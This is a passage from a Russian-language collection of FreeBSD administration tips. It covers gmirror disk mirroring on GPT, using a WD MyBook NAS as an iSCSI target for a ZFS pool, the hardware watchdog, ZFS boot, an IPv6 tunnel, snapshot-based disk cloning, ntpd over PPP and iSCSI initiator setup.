    Тут есть небольшое разногласие между gptboot и GEOM_PART_GPT. Некоторое время
    назад я изменил алгоритм проверки корректности GPT в GEOM_PART_GPT. А именно,
    после прочтения основного заголовка GPT и проверки его контрольной суммы,
    резервный заголовок считывается по хранящемуся в основном заголовке адресу. В
    случае, когда основной заголовок повреждён, резервный заголовок ищется в конце диска."
    
    Как видим из объяснения разработчика, ничего вроде бы страшного не происходит.
    И хотя у нас отсутствует запасной заголовок GPT в конце диска, это не критично,
    правда до тех пор, пока все работает.
    
    
    GPT+gmirror
    
    Этот вариант отличает от предыдущего тем, что зеркалируетяс не диск целиком, а
    отдельные его разделы. Как и для первого случая, нам потребуется дистрибутив
    FreeBSD-9.0R и два жестких диска, установленных в машину. Как и прежде
    рекомендуется, чтобы диски были полностью одинаковыми. Тем не менее, если
    случилось так, что один диск больше другого, то инсталляцию FreeBSD лучше
    проводить на диск меньшего объема. Это поможет избежать лишних расчетов
    размеров разделов при зеркалировании их с большего диска на меньший.
    
    В остальном первоначальная установка FreeBSD-9.0R ничем не отличается от
    обычной инсталляции по-умолчанию. Вся настройка зеркалирования начинается, в
    тот момент, когда мы загружаем свежепроинсталлированную систему и попадаем в консоль.
    
    Как и в предыдущем случае, диски определились как ada0 и ada1. FreeBSD
    установлена на меньший по размеру диск - ada0. Первым делом сохраним
    разметку диска и восстановим её на другом диске:
    
       # gpart backup ada0 > ada0.gpt
       # gpart restore -F /dev/ada1 < ada0.gpt
       # gpart show
    
    
    
    Как видно на скриншоте, разделы удачно скопировались и на бОльшем диске
    осталось 5GB свободного неразмеченного места. Теперь по логике вещей, можно
    начать зеркалирование разделов.
    
    Однако нужно забыть сделать диск ada1 загрузочным, ведь мы зеркалируем не весь
    диск целиком, а только его разделы. Иначе с выходом из строя ada0, система не
    сможет загрузится с ada1. Поэтому:
    
       # gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 ada1
    
    Кроме того, раздел /dev/da0p3 - содержит корневую файловую систему, он
    смонтирован, и размонтировать его не получится, поэтому в текущем положении
    изменить его не возможно.
    
    Поэтому перезагружаем систему и загружаемся с инсталляционного диска, где
    привычно уже заходим в shell и на каждом разделе диска ada0 создаем зеркало и
    загружаем его:
    
       # gmirror label -vb round-robin boot /dev/ada0p1
       # gmirror label -vb round-robin swap /dev/ada0p2
       # gmirror label -vb round-robin root /dev/ada0p3
       # gmirror load
    
    Итого у нас получаютcя 3 зеркала. Сразу же добавляем к зеркалам по их второй половине:
    
       # gmirror insert boot /dev/ada1p1
       # gmirror insert swap /dev/ada1p2
       # gmirror insert root /dev/ada1p3
    
    Начнется процедура зеркалирования, длительность которой зависит от объема
    данных и характеристик жестких дисков. Наблюдать за этим увлекательным
    процессом можно при помощи команды:
    
       # gmirror status
    
    А пока дожидаемся окончания этого процесса, чтобы зря не терять времени, можно
    не спеша сделать еще 2 полезные вещи. Первая, добавить модуль gmirror в
    загрузку ядра:
    
       # mount /dev/mirror/root /mnt
       # echo &#8216;geom_mirror_load="YES"&#8217; > /mnt/boot/loader.conf
    
    И вторая, отредактировать fstab в соответствии с измененными под зеркала именами разделов:
    
       # cat /mnt/etc/fstab
       #Device		Mountpoint	FStype	Options	Dump	Pass#
       /dev/mirror/swap	none		swap		sw		0	0
       /dev/mirror/root	/		ufs		rw		1	1
    
    На этом все. После окончания синхронизации зеркал, можно перезагрузиться и
    устроить системе тест, отключая то один диск, то другой. Только главное не
    увлечься и не забыть, что каждый раз, при возвращении диска в RAID, нужно
    обязательно дожидаться окончания процесса синхронизации, иначе вы потеряете данные.
    
     
    ----* Создание масштабируемого хранилища с использованием WD MyBook NAS + FreeBSD + ZFS   Автор: Алексей Волков  [комментарии]
     
    Вместо предисловия.
    
    RAID-Z doesn't require any special hardware. It doesn't need NVRAM for
    correctness, and it doesn't need write buffering for good performance. With
    RAID-Z, ZFS makes good on the original RAID promise: it provides fast, reliable
    storage using cheap, commodity disks.
                                                                          Jeff Bonwick  [0]
    
    Мое знакомство с FreeBSD состоялось  достаточно давно, как только по ряду
    причин прошла "первая любовь" к свежему на тот момент QNX Momentics.  Просто
    решил взять другую OS для других задач, без всяких аргументов. Но страсть к ZFS
    возникла практически мгновенно, как только  прочитал первые материалы по ней в
    свете включения кода в HEAD ветку FreeBSD. C тех пор  мы не разлучны, а с
    выходом релиза FreeBSD 8.0,  эта привязанность может стать вечной :)
    
    К сожалению, уж очень часто так случается, что место на разделе заканчивается,
    и в случае небольших офисных серверов, это превращается в маленькую трагедию.
    Завершив переезд на раздел большего размера, остаешься с неприятной мыслью, что
    этот раз был не последним, а следующий будет сложнее и дороже во всех смыслах
    этого слова.
    
    Относительно недавно, в розничную продажу поступила линейка NAS устройств WD My
    Book. Я так же обратил на нее внимание, но в первую очередь потому, что в
    голове промелькнула мысль - "Вот оно недостающее звено для бюджетного решения
    проблемы серверного пространства", но на тот момент я еще не знал как именно
    это можно сделать.
    
    Общая концепция заключалась в том, чтобы использовать NAS не так как его
    позиционирует производитель, а в виде блочного устройства. Другими словами ни
    CIFS/SAMBA ни FTP не нужны, требуется  получить блочное устройство в составе
    FreeBSD но физически расположенное на NAS. И тогда на сцену выйдет ZFS и
    возьмет его в свои крепкие руки.
    
    Вариант с созданием блочного устройства посредством mdconfig поверх
    подключенной через CIFS точки монтирования, меня категорически не устраивал.
    Моя цель где то рядом с ggate, AoE (ATA over Ethernet) или iSCSI.
    
    Упомянутый выше NAS, является достаточно открытым и работает на базе armv5tejl
    Linux 2.6.17.14. А значит к нему можно получить доступ по ssh  и установить
    дополнительный софт. Процедурs настройки ssh и репозитария optware можно найти
    по ссылкам [1] и [2].
    
    К великой радости optware имеет пакет для предоставления блочного устройства по
    протоколу AoE, но радость была не долгой, так как все попытки получить AoE на
    стороне FreeBSD, оказались не удачными.  Существующий AoE порт CORAID [3] я так
    и не смог заставить работать во FreeBSD 8, а мои вопросы к автору порта по
    email пока остались без ответа. Возвращаться к ядрам 7.X или тем более 6.X не
    имело смысла, так как терялась ZFS.
    
    Вспомнил про гору и Мухамеда, и выяснил что FreeBSD прекрасно дружит с iSCSI и
    все необходимое уже присутствует в базовой системе. Остается как то
    организовать iSCSI target на стороне NAS. Перепробовав массу вариантов собрать
    из исходников iSCSI target ( [4] [5] [6]), я практически отчаялся, пока не
    вспомнил, что FreeBSD имеет простенький порт net/iscsi-target. На удивление все
    собралось из исходников с первой попытки и у меня на руках оказался готовый
    бинарник iscsi-target [8] для ARM LINUX который я положил на NAS в /opt/sbin.
    
    Дело техники.
    
    В качестве iSCSI носителя будем использовать целиком раздел, который ранее
    выделялся для CIFS (/dev/md4) для чего нужно в /etc/init.d/network_servers.sh
    отключить запуск samba.sh и закоментить в /etc/fstab
    
       #/dev/md4        /shares/internal ext3   defaults,noatime     0       2
    
    Узнаем полный объем md4.
    
       [root@BACKUP]# fdisk -l /dev/md4
    
       Disk /dev/md4: 1992.0 GB, 1992096874496 bytes
       2 heads, 4 sectors/track, 486351776 cylinders
       Units = cylinders of 8 * 512 = 4096 bytes
    
    
    fdisk показал размер 1992096874496. Опытным путем выяснилось, что в
    конфигурации iscsi-targe нужно указать на 1 меньше.
    
    Подготовим конфигурацию для iSCSI /etc/iscsi/targets
    
       extent0         /dev/md4        0               1992096874495
       target0         rw              extent0         192.168.0.0/24
    
    а так же скрипт автоматического запуска сервиса iSCSI /etc/init.d/iscsi.sh [9]
    и добавляем его запуск в список сервисов /etc/init.d/network_servers.sh.
    Перезагружаем NAS.
    
    Настройка iSCSI initiator
    
    На стороне сервера FreeBSD (где будем организовывать ZFS пул) настраиваем инициатор.
    
    Утилитой iscontrol выясняем какое имя у нашего target.
    
       server# iscontrol -d targetaddress=nas.ip-or-hostname
       TargetName=iqn.1994-04.org.netbsd.iscsi-target:target0
       TargetAddress=192.168.0.1:3260,1
    
    Так как в теории устройств NAS у нас должно быть много, их как то надо
    идентифицировать. Для целей идентификации MAC адрес подходит как нельзя кстати,
    тем более что он указан на корпусе NAS. Дополнительно можно намекнуть на объем
    устройство, и тогда получим идентификаторы вида
    
       00:90:a9:0d:f3:72-2T
       00:90:a9:3d:e3:7a-512G
    
    Cоздаем /etc/iscsi.conf
    
       #
       # Globals
       #
       port = 3260
       
       #
       00:90:a9:0d:f3:72-2T { # nickname
       targetaddress        = nas.ip-or-hostname
       targetname           = iqn.1994-04.org.netbsd.iscsi-target:target0
       }
    
    Я не нашел штатных настроек FreeBSD для автозапуска инициатора, по этому
    добавил скрипт /usr/local/etc/rc.d/iscsiinitiator
    
       # PROVIDE: iscsiinitiator
       # REQUIRE: DAEMON
       # AFTER: NETWORK
    
       . /etc/rc.subr
    
       name="iscsiinitiator"
       rcvar=`set_rcvar`
    
       start_cmd=iscsi_start
     
       iscsi_start() {
          echo Start iSCSI initiator
          daemon -f iscontrol -c /etc/iscsi.conf -n 00:90:a9:0d:f3:72-2T
       }
    
       # read settings, set default values
       load_rc_config "$name"
       : ${iscsiinitiator="NO"}
    
       run_rc_command "$1"
    
    и соотвесвенно, требуется добавить в /etc/rc.conf строчку
    
       iscsiinitiator_enable="YES"
    
    Итак запускаем приемную часть iSCSI
    
    
       server# /usr/local/etc/rc.d/iscsiinitiator start
       Start iSCSI initiator
    
    В dmesg долны появится строки вида
    
       da0 at iscsi0 bus 0 target 0 lun 0
       da0: <NetBSD NetBSD iSCSI 0> Fixed Direct Access SCSI-3 device
    
    Что означает что весь процесс пройден верно.
    
    
    Подготовка блочного устройства для включенияв общий пул
    
    Размечаем устройсво da0 средствами gpart
    
       server# gpart create -s gpt da0
       server# gpart add -t freebsd-zfs -l 00:90:a9:0d:f3:72-2T da0
    
    Проверяем что наше устройство корректно отобразилось в /dev/gpt
    
       server# ls /dev/gpt
       00:90:a9:0d:f3:72-2T    ... ... ...
    
    Создаем zfs пул
    
       server# zpool create -m /mnt/big-storage storage0 /dev/gpt/00:90:a9:0d:f3:72-2T
    
    И вот, наш пул готов!
    
       server# zpool list
       NAME      SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       storage0 1,80T    72K  1,80T     0%  ONLINE  -
    
    Заключение
    
    Мои поверхностные тесты показали скорость работы данного пула, близкие к
    максимальным возможностям самой среды FastEthernet. Т.е. 5-6Mbyte/sec, что в
    моих обстоятельствах является более чем достаточном. Дополнительно стоит
    отметить, что с увеличением количества устройств в пуле, скорость так же будет
    расти (если конечно серверный порт и коммутатор гигабитные).
    
    P.S.
    
    Данный пример, своей целью имеет демострацию именно последовательности
    действий, а не рекомендуемый вариант использования.
    
    В реальных условиях нужно создавать пул из нескольких NAS устройств и
    объединять их в единый RAID-Z с одиночной или двойной точкой отказа.
    
    Но в любом случае последующая ситуация с отказом NAS устройства, или
    увеличением общего объема, будет заключаться в подготовке NAS для работы по
    iSCSI и добавлением его в ZFS пул, что представляется достаточно тривиальным и
    не зависящим от общего объема пула.
    
    Не маловажным остается тот факт, что все работы проводятся без остановки
    сервисов или тем белее перезагрузок. Дополнительное пространство просто
    появляется и начинает работать на Вас!
    
    [0] http://blogs.sun.com/bonwick/entry/raid_z
    [1] http://mybookworld.wikidot.com/ssh-enable
    [2] http://mybookworld.wikidot.com/optware
    [3] http://support.coraid.com/support/freebsd/
    [4] http://www.open-iscsi.org/
    [5] http://linux-iscsi.sourceforge.net/
    [6] http://iscsitarget.sourceforge.net/
    [7] http://www.freshports.org/net/iscsi-target/
    [8] http://softlynx.ru/pub/WD-MyBook-NAS/iscsi-target
    [9] http://softlynx.ru/pub/WD-MyBook-NAS/iscsi.sh
    
     
    ----* Автоматический перезапуск служб во FreeBSD   Автор: Алексей Волков  [комментарии]
     
    В процессе установки ПО для FreeBSD "правильные" службы автоматически прописывают скрипт запуска 
    в /usr/local/etc/rc.d и управление его поведением определяется в /etc/rc.conf 
    
    Однако случается так что успешно запустившись при включении сервера, служба по
    ряду причин падает позже
    в процессе работы (такое случается например c dovecot или squid). В результате чего как минимум 
    требуется перезапуск с последующим анализом причин поведения. Про анализ причин
    поведения отдельная песня,
    а вот перезапускать в таких редких случаях ручками может получиться с изрядными задержками, 
    пока не выяснится, что что-то перестало работать.
    
    На этот счет я практикую запуск через cron команды которая проверяет все
    сконфигурированные к запуску
    скрипты /usr/local/etc/rc.d на предмет поддержки команды status и если эта команда возвращает 
    отрицательный результат (т.е. сервис не активен) то заново запускает его. 
    
    Итого в файле /var/cron/tabs/root значится строка 
    
       */5 * * * * /usr/bin/find /usr/local/etc/rc.d/ -type file | xargs -I$ sh -c "($  2>&1 | grep -q -v status) \
          && exit ; ($ status > /dev/null) && exit ; $ start"
    
    В итоге, если служба остановилась, она будет перезапущена в течении 5 минут, и
    на root придет сообщение
    с логом запуска (если конечно почтовая подсистема настроена)
    
     
    ----* Использование аппаратного "watchdog" во FreeBSD   Автор: Дмитрий Иванов  [комментарии]
     
    Некоторые материнские платы снабжены специальным устройством, делающим жесткую перезагрузку, 
    если ОС не "дернула" вовремя это устройство. Называется оно "hardware watchdog timer". 
    Таким образом, автоматическая и неминуемая перезагрузка гарантируется при "зависании" ОС.
    
    В частности, watchdog timer имеется на многих материнских платах Intel, 
    причем не только на серверных. Соответствующий драйвер FreeBSD называется ichwd. 
    Итак, если у нас материнка Intel, попробуем сделать так:
    
       kldload ichwd
    
    В сообщениях ядра (их можно посмотреть командой dmesg) при этом увидим что-то вроде:
    
       ichwd0: <Intel ICH9R watchdog timer> on isa0
       ichwd0: Intel ICH9R watchdog timer (ICH9 or equivalent)
    
    Теперь ясно, что у нас действительно есть такой таймер. Действуем дальше.
    
    Для автоматической загрузки драйвера добавляем в /boot/loader.conf:
    
       ichwd_load="YES"
    
    Для запуска демона, "дергающего" watchdog, добавляем в /etc/rc.conf:
    
       watchdogd_enable="YES"
    
    Этот демон будет периодически "дергать" таймер, сообщая ему, что система все еще жива. 
    Будьте осторожны с этим демоном! Если убить его как обычно (т.е. 15-м сигналом), 
    он аккуратно снимет таймер с "боевого дежурства". Но если убить его 9-м сигналом, 
    то таймер перестанет получать наши сигналы, и решит, что система зависла. Произойдет перезагрузка.
    
    Иногда watchdog надо включить в BIOS. На некоторых платах watchdog есть, но
    воспользоваться им невозможно.
    Иногда при инициализации драйвера появляется ругань на параллельный порт, но ее можно игнорировать.
    
    Проверено на FreeBSD 7.1-BETA2.
    
     
    ----* Настройка загрузки ZFS с GPT-раздела во FreeBSD и создание зеркала (доп. ссылка 1)   Автор: unknown  [комментарии]
     
    Во FreeBSD 8-CURRENT недавно появилась поддержка загрузки ядра с ZFS,
    а сама файловая система была обновлена до версии 13. Процесс
    развертывания ZFS с возможностью загрузки с нее очень простой:
    
    1. Собираете world с LOADER_ZFS_SUPPORT и kernel с поддержкой gpart(8):
    
    	# добавляем в make.conf(5) опцию поддержки ZFS для loader(8)
    	echo LOADER_ZFS_SUPPORT=yes >>/etc/make.conf
    
    	# собираем world... нет, только loader(8) и загрузочный код
    	cd /usr/src/sys/boot
    	make cleandir; make cleandir
    	make obj depend all install
    
    	# добавляем поддержку таблиц разделов для gpart(8)
    	cat MYKERNEL
    	include		GENERIC
    	nooption	GEOM_BSD
    	nooption	GEOM_MBR
    	options		GEOM_PART_BSD
    	options		GEOM_PART_MBR
    	options		GEOM_PART_GPT
    
    	# собираем kernel
    	make kernel KERNCONF=MYKERNEL -C/usr/src
    
    2. Размечаете первый диск командой gpart(8) на несколько разделов, из
       которых обязательны только freebsd-boot и freebsd-zfs:
    
    	# создаем таблицу разделов типа GPT на диске ad0
    	gpart create -s GPT ad0
    
    	# добавляем загрузочный код, позволяющий загружаться с GPT разделов
    	gpart bootcode -b /boot/pmbr ad0
    
    	# создаем раздел для кода загрузки loader(8)'а с раздела GPT
    	gpart add -b 34 -s 256 -t freebsd-boot ad0
    
    	# записываем загрузочный код на него
    	gpart bootcode -p /boot/gptzfsboot -i 1 ad0
    
    	# создаем swap раздел для возможности использовать его
    	# в качестве dumpdev, т.к. делать kernel dump'ы на zvol'ах
    	# невозможно
    	gpart add -b 290 -s 2097152 -t freebsd-swap ad0
    
    	# создаем основной раздел для ZFS
    	gpart add -b 2097442 -s 232344173 -t freebsd-zfs ad0
    
    	# смотрим на результат
    	gpart show
    	=>       34  234441581  ad0  GPT  (112G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    2097152    2  freebsd-swap  (1.0G)
    	    2097442  232344173    3  freebsd-zfs  (111G)
    
    3. Создаете pool для ZFS на первом разделе и загружаетесь с него:
    
    	# создаем pool с именем `h', выключенном поддержкой
    	# времени последнего доступа и включенным сжатием данных
    	zpool create -O atime=off -O compression=on h ad0p3
    
    	# создаем необходимые dataset'ы
    	zfs create -p -o setuid=off -o utf8only=on h/usr/home
    	zfs create -o sharenfs='-alldirs -webnfs' h/usr/ports
    	zfs create -o atime=on h/var
    	zfs create -o readonly=on h/var/empty
    
    	# населяем pool[1]
    	rsync -aHS --del --fileflags --filter 'merge migrate.rsync' / /h/
    
    	# перезагружаемся
    	shutdown -r now
    
    	# загружаемся *не* с ZFS в single-user режим (loader prompt)
    	boot -s
    
    	# меняем точку монтирования pool'а на корень
    	/etc/rc.d/hostid restart
    	/sbin/zfs set mountpoint=/ h
    
    	# перезагружаемся
    	/sbin/reboot
    
    	# загружаемся с ZFS (loader prompt)
    	load zfs
    	set vfs.root.mountfrom=zfs:h
    	boot
    
    	# добавляем в loader.conf(5) поддержку zfs и точку
            # монтирования / (корня)
    	echo zfs_load=YES >>/boot/loader.conf
    	echo vfs.root.mountfrom=\"zfs:h\" >>/boot/loader.conf
    
    4. Повторяете шаг 1 для второго диска и подсоединяете его к "зеркалу":
    
    	# Размечаем диск с учетом того, что количество блоков
            # у freebsd-zfs должно быть такое же, как и на первом диске.
    	# В даннном примере - 484200428.
    	=>       34  488394988  ad0  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4194304    2  freebsd-swap  (2.0G)
    	    4194594  484200428    3  freebsd-zfs  (231G)
    
    	=>       34  488397101  ad1  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4196417    2  freebsd-swap  (2.0G)
    	    4196707  484200428    3  freebsd-zfs  (231G)
    
    	# подсоединяете его к pool'у как элемент зеркала
    	# (не перепутайте с *add*)
    	zpool attach h ad0p3 ad1p3
    
    	# смотрим на результат
    	zpool status
    	  pool: h
    	 state: ONLINE
    	 scrub: none requested
    	config:
    
    		NAME        STATE     READ WRITE CKSUM
    		h           ONLINE       0     0     0
    		  mirror    ONLINE       0     0     0
    		    ad0p3   ONLINE       0     0     0
    		    ad1p3   ONLINE       0     0     0
    
    	errors: No known data errors
    
    Примечание: Тест проводился на 14 версии и с использованием
    вот этого патча - http://pastebin.com/f3d2089f3
    
    [1] пример migrate.rsync:
    	exclude .ccache
    	exclude /h
    	exclude /dev
    	exclude /nfs
    	exclude /tmp
    	exclude /var/emtpy
    	exclude /var/run
    
    Стоит не забыть потом создать эти директории в /h с соответствующими правами
    на них. В частности без /dev система не загрузится.
    
     
    ----* Подключение FreeBSD к IPv6 - поднимаем туннель через IPv4-сети провайдера (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Итак, пришло время поднять IPv4-IPv6 gateway, чтобы ходить в мир "другого
    интернета", коим он скоро будет.
    
    Самым простым способом получить IPv6 адрес оказалось получить подключение от http://go6.net
    
    Идем на этот сайт и регистрируемся http://go6.net/4105/register.asp
    
    
    Тут же они предлагают скачать софт и поставить, например для Windows вида "скачай и запусти"
    http://go6.net/4105/download.asp
    
    Но это не совсем наш метод, мы будем подключать сервер на FreeBSD 7.0 к этой сети.
    
    Ядро у нас собрано с поддержкой IPV6, т.е. с options INET6 (ядро GENERIC уже 
    поддерживает этот протокол и если вы его не отключали, значит, он у вас есть)
    
    Итак, ставим клиента, то, что они предлагают скачивать - есть в портах
    
       Port:   gateway6-5.0_2
       Path:   /usr/ports/net/gateway6
       Info:   Gateway6 Tunnel Setup Protocol Client - Free IPv6 tunnel
       B-deps:
       R-deps:
       WWW:    http://www.go6.net/
    
    
    Приступаем к установке:
    
       cd /usr/ports/net/gateway6
       make install clean
    
    Буквально через несколько минут клиент будет установлен
    
    Отредактируйте его конфигурационный файл /usr/local/etc/gw6c.conf
    
       userid=
       passwd=
    
    Пропишите туда ваше имя и пароль которые указали при регистрации на сайте.
    
    На этом начальная настройка закончена, для дальнейшей настройки читайте документацию.
    
    Как я понял, выдается целая сеть и для авторизованных пользователей http://go6.net/4105/freenet.asp,
    тем самым можно все компьютеры дома подключить на реальные статические IPv6 адреса.
    
       server=broker.freenet6.net
    
    broker.freenet6.net - это имя сервера для подключения (написано в письме при регистрации)
    
       # Включить использование авторизации
       auth_method=any
    
       # Писать логи в syslogd
       log_syslog=3
    
    Теперь осталось запустить его
    
       echo 'gateway6_enable="YES"' >> /etc/rc.conf
       /usr/local/etc/rc.d/gateway6 start
    
    И смотрим
    
       # tail -f /var/log/messages
       Oct 17 18:39:38 lola gw6c: Gateway6 Client v5.0-RELEASE build Oct 17 2008-14:56:32
       Oct 17 18:39:38 lola gw6c: Establishing connection to tunnel broker broker.freenet6.net using reliable UDP.
       Oct 17 18:39:42 lola gw6c: Connection to broker.freenet6.net established.
       Oct 17 18:39:45 lola gw6c: Authentication success.
       Oct 17 18:39:45 lola gw6c: Got tunnel parameters from server. Setting up local tunnel.
       Oct 17 18:39:45 lola gw6c: Executing configuration script: /bin/sh "/usr/local/share/gateway6/freebsd.sh".
       Oct 17 18:39:46 lola gw6c: Script completed successfully.
       Oct 17 18:39:46 lola gw6c: Your IPv6 address is 2001:05c0:8fff:fffe:0000:0000:0000:c243.
       Oct 17 18:39:46 lola gw6c: The tunnel type is v6udpv4.
    
    
       # ifconfig
    
       tun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> metric 0 mtu 1280
            inet6 2001:5c0:8fff:fffe::c243 --> 2001:5c0:8fff:fffe::c242 prefixlen 128
            Opened by PID 873
    
       # traceroute6 www.jp.freebsd.org
       ...
       # ping6 www.jp.freebsd.org
       ...
    
    Все прекрасно работает не смотря на то, что выход осуществляется в мир через  
    NAT на модеме.
    
    Итак, осталось только понять, "зачем это надо", но ясно одно - за этим будущее. 
    А еще можно посмотреть на танцующую черепаху на http://www.kame.net/ :-)
    
    Также рекомендую прочитать документацию (главу в 
    HandBook http://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/network-ipv6.html) 
    по поддержке протокола IPv6 в системе FreeBSD.
    
     
    ----* Клонирование дисков во FreeBSD, используя снапшоты ФС   [комментарии]
     
    Создаем снапшот test1 раздела /home
    
       mount -v -u -o snapshot /home/snapshot/test1 /home
    
    или другой метод:
    
       mksnap_ffs /home /home/snapshot/test1
    
    Привязываем снапшот к устройству /dev/md1:
    
       mdconfig -a -t vnode -f /home/snapshot/test1 -u 1
    
    При необходимости снапшот можно смонтировать и посмотреть его содержимое:
    
       mount -o ro /dev/md1 /mnt
       ....
       umount /mnt
    
    Копируем содержимое раздела на второй диск:
    
       dd if=/dev/md1 of=/dev/ad4s1f bs=16k
    
    Отключаем снапшот
    
       mdconfig -d -u 1
    
    Выполняем fsck на новом разделе:
    
       fsck -f /dev/ad4s1f
    
     
    ----* ntpd на FreeBSD с подключением через PPP   Автор: Furcube  [комментарии]
     
    Есть компьютер с FreeBSD 7.0 (но должно работать и для остальных версий)
    Подключение к интернету производится через pppoe. Провайдер раз в сутки обрывает подключение, 
    соответственно при смене ip (он динамический) ntpd клинит - по команде ntpq -c pe 
    в колонке refid для всех серверов будет .INIT.
    
    Когда искал решение, наткнулся на следующий скрипт (немного модифицировал для FreeBSD):
    
    #!/bin/sh
    #
    # reconfigNtpd, written by Jan Ceuleers, March 2003, revised October 2003
    #
    # Purpose: ntpd running on a machine that has intermittent connectivity to
    #          the Internet, and that does not have a static public IP address,
    #          loses its associations with public NTP servers, even after the
    #          connection to the Internet has been restored.
    #          Restarting the ntpd daemon is a possibility, but the downside
    #          is that this causes time not to be served to local clients until
    #          ntpd has regained synchronisation.
    #          A better way is to configure at least one local clock (the local
    #          clock 127.127.1.0 at high stratum and/or a refclock), to cover
    #          for the periods when there is no Internet connectivity, and to
    #          use this script to unconfig/add{server,peer} all public time
    #          servers at runtime (i.e. without restarting the daemon)
    #
    # Usage: reconfigNtpd | ntpdc
    #
    # Bugs: * This script only generates unconfig/addpeer and unconfig/addserver
    #         pairs. Any relevant fudge statements or iburst options etc. are
    #         ignored.
    #
    #       * Location of keys file is hard-coded rather than being derived from
    #         ntp.conf
    #
    
    ###
    #
    # Get keyid and password from /etc/ntp/keys
    #
    ###
    set -- $(grep "^15" < /etc/ntp.keys)
    echo keyid $1
    echo passwd $3
    
    ###
    #
    # Derive unconfig commands from ntpdc output
    #
    ###
    ntpdc -n -p | awk '!/==/ && !/^ / { if (substr($1,2) !~ /^127.127./)
    print "unconfig " substr($1,2) }'
    
    ###
    #
    # Derive addserver commands from /etc/ntp.conf
    #
    ###
    awk '/^server[[:blank:]]/ { if ($2 !~ /^127.127./) print "addserver " $2
    }' /etc/ntp.conf
    
    ###
    #
    # Derive addpeer commands from /etc/ntp.conf
    #
    ###
    awk '/^peer[[:blank:]]/ { print "addpeer " $2 }' /etc/ntp.conf
    
    echo quit
    
    (источник - http://www.arda.homeunix.net/ntpsetup.html)
    
    Записываем куда-нибудь, где не потеряется.
    
    Конфиг ntpd следующего вида:
    /etc/ntp.conf
    
    server  <сервер>
    server  <сервер>
    
    logfile /var/log/ntp.log
    driftfile /var/db/ntp.drift
    statsdir /var/db/ntpstats/
    keys /etc/ntp.keys
    trustedkey 1 2 15
    controlkey 15        # ntpq
    requestkey 15        # ntpdc
    
    Теперь надо сгенерить ключи для управления.
    env RANDFILE=/dev/random ntp-keygen
    В директории, где запускали ntp-keygen будет файл
     с ключами и симлинк ntpkey_MD5key_<название хоста>
    В нём будут записаны 16 ключей надо взять содержимое этого файла и запихнуть его в /etc/ntp.keys
    
    теперь (пере)запускаем ntpd
    Для проверки делаем ./reconfigNtpd | ntpdc
    Если про ошибки ничего не будет написано, значит всё хорошо.
    
    Теперь цепляем это на ppp
    Для этого пишем в файл /etc/ppp/ppp.linkup такое:
    
    <название подключения>:
      !bg sh -c "sleep 5; <путь>/reconfigNtpd | ntpdc"
    
    Задержку в 5 секунд сделал для того, чтобы ntpdc запустился после прописывания маршрута.
    
     
    ----* Настройка службы iSCSI на сервере FreeBSD (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Q. Как я могу установить и настроить службу iSCSI на сервере FreeBSD ?
    
    A. FreeBSD 7.x полностью поддерживает iSCSI. Старые версии, такие как  FreeBSD
    6.3 требуют обратного
    портирования для поддержки iSCSI. Следущие инструкции приведены для настройки
    iSCSI только под FreeBSD 7.0.
    
    FreeBSD iscsi_initiator driver
    
    iscsi_initiator в ядре FreeBSD реализует страндарт сетевого протокола Internet SCSI (iSCSI), 
    взаимодействует с пользовательским окружением iscontrol и обеспечивает доступ к
    удаленным виртуальным SCSI устройствам.
    
    Компилирование драйвера
    
    обратите внимание на то, что FreeBSD 7.x поставляется с уже скомпилированным драйвером. 
    Вы можете пропустить этот шаг, если драйвер /boot/kernel/iscsi_initiator.ko 
    уже присутствует в вашей системе.
    
    Для компиляции ядра с драйвером, выполните следущее:
    
       # cd /usr/src/sys/i386/conf
       # cp GENERIC ISCSIKERNEL
       # vi ISCSIKERNEL
    
    Вставьте строку:
    
       device iscsi_initiator
    
    Сохраните и закройте файл конфигурации. Соберите ядро:
    
       # cd /usr/src
       # make buildkernel KERNCONF=ISCSIKERNEL
    
    Установите ядро:
    
       # make installkernel KERNCONF=ISCSIKERNEL
    
    Перезагрузите систему:
    
       # reboot
    
    Установка драйвера iSCSI в FreeBSD
    
    Нам необходим драйвер ядра FreeBSD для протокола iSCSI, который называется /boot/kernel/iscsi_initiator.ko.
    Загрузите его можно с правами пользователя root следующей командой: 
    
       # kldload -v iscsi_initiator.ko
    
    Вывод:
    
       Loaded iscsi_initiator.ko, id=6
    
    Для загрузки драйвера во время начальной загрузки, поместите слудующую строку в /boot/loader.conf:
    
       # vi /boot/loader.conf
    
       # Beginning of the iSCSI block added by Vivek
       iscsi_initiator_load="YES"
       # End of the block added by Vivek
    
    Сохраните и закройте файл.
    
    Команда iscontrol для подключения, предоставления и контроля сессии iSCSI initiator.
    
    Теперь нам необходимо использовать команду iscontrol. Сперва просмотрим сессии:
    
       # iscontrol -d targetaddress=iSCSI-SERVER-IP-ADDRESS initiatorname=nxl
       # iscontrol -v -d targetaddress=192.168.1.100 initiatorname=nxl
    
    Пожалуйста,  запишите список доступных targetnames/targetadresses. Как только
    будет известно targetname,
    отредактируйте файл /etc/iscsi.conf:
    
      # vi /etc/iscsi.conf
    
    Укажите директивы подобным образом:
    
       officeiscsi {
            authmethod      = CHAP
            chapIName       = YOUR-ISCSI-USERNAME
            chapSecret      = YOUR-ISCSI-PASSWORD
            initiatorname   = nxl
            TargetName      = iqn.XYZZZZZZZZZZZZZ #  whatever "iscontrol -v -d " gives you
            TargetAddress   = 192.168.1.100:3260,1 # your iscsi server IP
       }
    
    Сохраните и закройте файл.
    
    Где:
    
     officeiscsi { : Начало конфигурации iSCSI.
        authmethod : Установить в качестве метода аутентификации chap
        chapIName  : Имя 
        chapSecret : Пароль 
        initiatorname : Если не указано другое, то iqn.2005-01.il.ac.huji.cs:<hostname>
        TargetName : Имя, под которым будет изветен target. Не путайте его с target address, 
                      который назначается администратором или через поиск устройств. 
        TargetAddress : Имеет вид domainname[:port][,portal-group-tag] согласно RFC: 
                      domainname может быть определен как имя DNS, адрес IPv4 в десятичном представлении  
                      или IPv6 адрес, как указано в [RFC2732]. 
     } : Конец конфигурации
    
    
    Старт сессии iSCSI
    
    Следущие команды читают опции из /etc/iscsi.conf, используя targetaddress в блоке, 
